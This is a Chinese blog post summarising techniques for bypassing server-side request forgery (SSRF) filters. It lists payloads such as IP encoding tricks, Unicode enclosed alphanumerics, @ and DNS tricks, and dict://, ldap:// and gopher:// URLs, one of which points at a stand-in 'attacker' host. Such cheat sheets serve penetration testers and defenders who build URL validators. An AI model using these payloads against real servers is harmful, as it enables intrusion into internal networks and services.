SSRF绕过方法总结
作者:admin | 时间:2017-11-26 23:56:18 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
1
2
3
|
昨天忘了在公众号还是微博上看到的了,看到一个SSRF绕过的技巧,使用的是
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
绕过的,自己也没遇到过。然后想想自己对SSRF绕过还是停留在之前的了解,也没学习过新的绕过方法,所以特意找了找资料,学习学习最新黑科技,充充能。
|
0x00 SSRF是什么
能精简的就不扯淡,一句话就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
0x01 SSRF能干什么
-
探测内网信息
-
攻击内网或本地其他服务
-
穿透防火墙
-
。。。
0x02 SSRF怎么找
-
能够对外发起网络请求的地方
-
请求远程服务器资源的地方
-
数据库内置功能
-
邮件系统
-
文件处理
-
在线处理工具
-
。。。
举几个例子:
-
在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
-
根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
-
数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
-
邮件系统就是接收邮件服务器地址这些地方。
-
文件就找ImageMagick,xml这些。
-
从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。
以上这些不是本文的重点,下面说下重点介绍的SSRF绕过的方法。
0x03 SSRF怎么绕
1、攻击本地
1
2
|
http: //127.0.0.1:80
http: //localhost:22
|
2、利用[::]
1
2
|
利用[::]绕过localhost
http: //[::]:80/ >>> http://127.0.0.1
|
也有看到利用http://0000::1:80/的,但是我测试未成功
3、利用@
1
|
http: //example.com@127.0.0.1
|
4、利用短地址
1
|
http: //dwz.cn/11SMa >>> http://127.0.0.1
|
5、利用特殊域名
利用的原理是DNS解析
1
|
http: //127.0.0.1.xip.io/
|
1
|
http: //www.owasp.org.127.0.0.1.xip.io/
|
6、利用DNS解析
在域名上设置A记录,指向127.0.1
7、利用上传
1
2
3
4
|
也不一定是上传,我也说不清,自己体会 -.-
修改 "type=file" 为 "type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
|
8、利用Enclosed alphanumerics
1
2
3
4
5
6
7
8
9
10
11
|
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List :
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ <img class = "emoji" draggable = "false" alt = "" src = "https://s.w.org/images/core/emoji/72x72/24c2.png" > Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
9、利用句号
1
|
127。0。0。1 >>> 127.0.0.1
|
10、利用进制转换
1
2
3
4
5
|
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
|
1
|
http: //127.0.0.1 >>> http://0177.0.0.1/
|
1
|
http: //127.0.0.1 >>> http://2130706433/
|
1
2
|
http: //192.168.0.1 >>> http://3232235521/
http: //192.168.1.1 >>> http://3232235777/
|
11、利用特殊地址
1
|
http: //0/
|
12、利用协议
1
2
3
4
5
6
7
8
9
10
11
|
Dict : / /
dict : / / <user - auth>@<host>:<port> / d:<word>
ssrf.php?url = dict : / / attacker: 11111 /
SFTP: / /
ssrf.php?url = sftp: / / example.com: 11111 /
TFTP: / /
ssrf.php?url = tftp: / / example.com: 12346 / TESTUDPPACKET
LDAP: / /
ssrf.php?url = ldap: / / localhost: 11211 / % 0astats % 0aquit
Gopher: / /
|
13、使用组合
各种绕过进行自由组合即可
参考链接:
https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
https://twitter.com/albinowax/status/890725759861403648
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
https://hackerone.com/reports/115748
https://www.dailysecurity.fr/server-side-request-forgery/
https://twitter.com/EdOverflow
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection
http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf
http://byd.dropsec.xyz/2017/06/04/SSRF%E6%BC%8F%E6%B4%9E%E5%89%96%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
http://blog.csdn.net/xinianbuxiu/article/details/53560417